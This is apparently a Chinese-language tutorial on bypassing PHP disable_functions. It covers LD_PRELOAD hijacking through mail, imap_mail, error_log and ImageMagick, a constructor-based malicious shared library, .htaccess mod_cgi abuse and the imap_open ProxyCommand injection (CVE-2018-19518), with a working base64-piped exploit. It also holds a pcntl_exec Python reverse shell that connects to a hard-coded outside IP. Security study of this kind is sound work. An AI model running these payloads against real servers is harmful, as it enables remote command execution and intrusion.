通常bypass的思路如下
1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞 2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec() 3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制 4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果
readelf -Ws /usr/bin/sendmail
通过readelf可以查看id程序可能调用的系统API函数,这个命令结果仅代表可能被调用的API,不代表一定调用
通过strace -f +程序执行 才能看到程序实际的内部调用情况
1.利用LD_PRELOAD
LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),
它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,
我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),
而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
execve
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。
exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。
关键:
虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD,而LD_PRELOAD用于加载动态链接库)
常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有哪种可能启动外部程序呢?php 解释器自身!比如,php 函数 goForward() 实现“前进”的功能,php 函数 goForward() 又由组成 php 解释器的 C 语言模块之一的 move.c 实现,C 模块 move.c 内部又通过调用外部程序 go.bin 实现,那么,我的 php 脚本中调用了函数 goForward(),势必启动外部程序 go.bin。现在,我需要找到类似 goForward() 的真实存在的 PHP 函数。
如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。 另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。
putenv+mail
以发送邮件功能的mail函数为例,这里成功通过execve启动了新的进程,即调用了/usr/sbin/sendmail
用相同的测试方式,还找到一个 imap_mail(),之前是劫持getuid函数是因为sendmail程序调用该函数,在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。
原作者找到了__attribute__ ((__constructor__))
It's run when a shared library is loaded, typically during program startup.
也就是说所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__))
,从而达成我们rce的目的。
比如编写如下c程序:
#define _GNU_SOURCE #include#include #include __attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("ls"); }
putenv+imap_mail
imap_mail也是php用来发送电子邮件的的一个函数,用法和mail函数差不多,同样会调用sendmail命令:
putenv+error_log
error_log(error,type,destination,headers) 当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址
使用strace看一下,说明error_log函数也会启动新的进程
那么这个函数也会跟mail函数一样去加载我们的共享库,从而配合LD_PRELOAD来实现rce
利用ImageMagick
当imagick去处理以下后缀的文件时,将会调用ffmpeg去处理文件,即将会fork新的子进程,这正是我们想要的效果
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
可以看到,此时调用了/usr/bin/ffmpeg去处理该程序,所以肯定会加载LD_PRELOAD,从而来加载我们的恶意共享库so文件
利用imap_open (CVE-2018-19518)
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
比如执行
ssh -oProxyCommand="touch test.txt" 192.168.1.123
将会创建test.txt,环境在:
https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518
直接进入docker容器测试exp:
php $exp = "echo test!test! > /tmp/test"; $base64_exp = base64_encode($exp); $server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}"; imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error()); ?>
当然这里-oProxyCommand= 后面的命令我们可以自定以,要是对一些关键词过滤的话我们还可以命令写入一些文件中,然后bash + 文件名来执行其中的bash命令,但是bash关键词不能被过滤
利用pcntl_exec突破disable_functions
直接通过pcntl_exec反弹shell:
"/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("104.224.146.7",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>
.htaccess:不止重定向
在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!
就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。
但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
条件
第一,必须是apache环境
第二,mod_cgi已经启用 (在/etc/apache2/mods-enables里面可以看到apache已经加载的模块,或者使用apache_get_modules()返回开启的模块)
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none (apache2.conf)
第四,必须有权限写.htaccess文件
在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本
除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddType application/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。
php特定版本bypass
1.php7.0-php7-gc-bypass执行效果如下图
对于适用版本的php直接运行即可。
2.对于php-cgi或者php-fpm模式运行的Apache服务器
可以使用
https://github.com/beched/php_disable_functions_bypass
open_basedir要关闭
3.php7.1版本,以及以下版本可以:
参考:
https://xz.aliyun.com/t/4623#toc-10
https://xz.aliyun.com/t/5320#toc-2
https://github.com/Bo0oM/PHP_imap_open_exploit
https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md
https://baike.baidu.com/item/execve
http://47.98.146.200/index.php/archives/44/
https://skysec.top/2019/02/25/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bimap_open()%20RCE/#%E5%89%8D%E8%A8%80
https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F-hijacking-function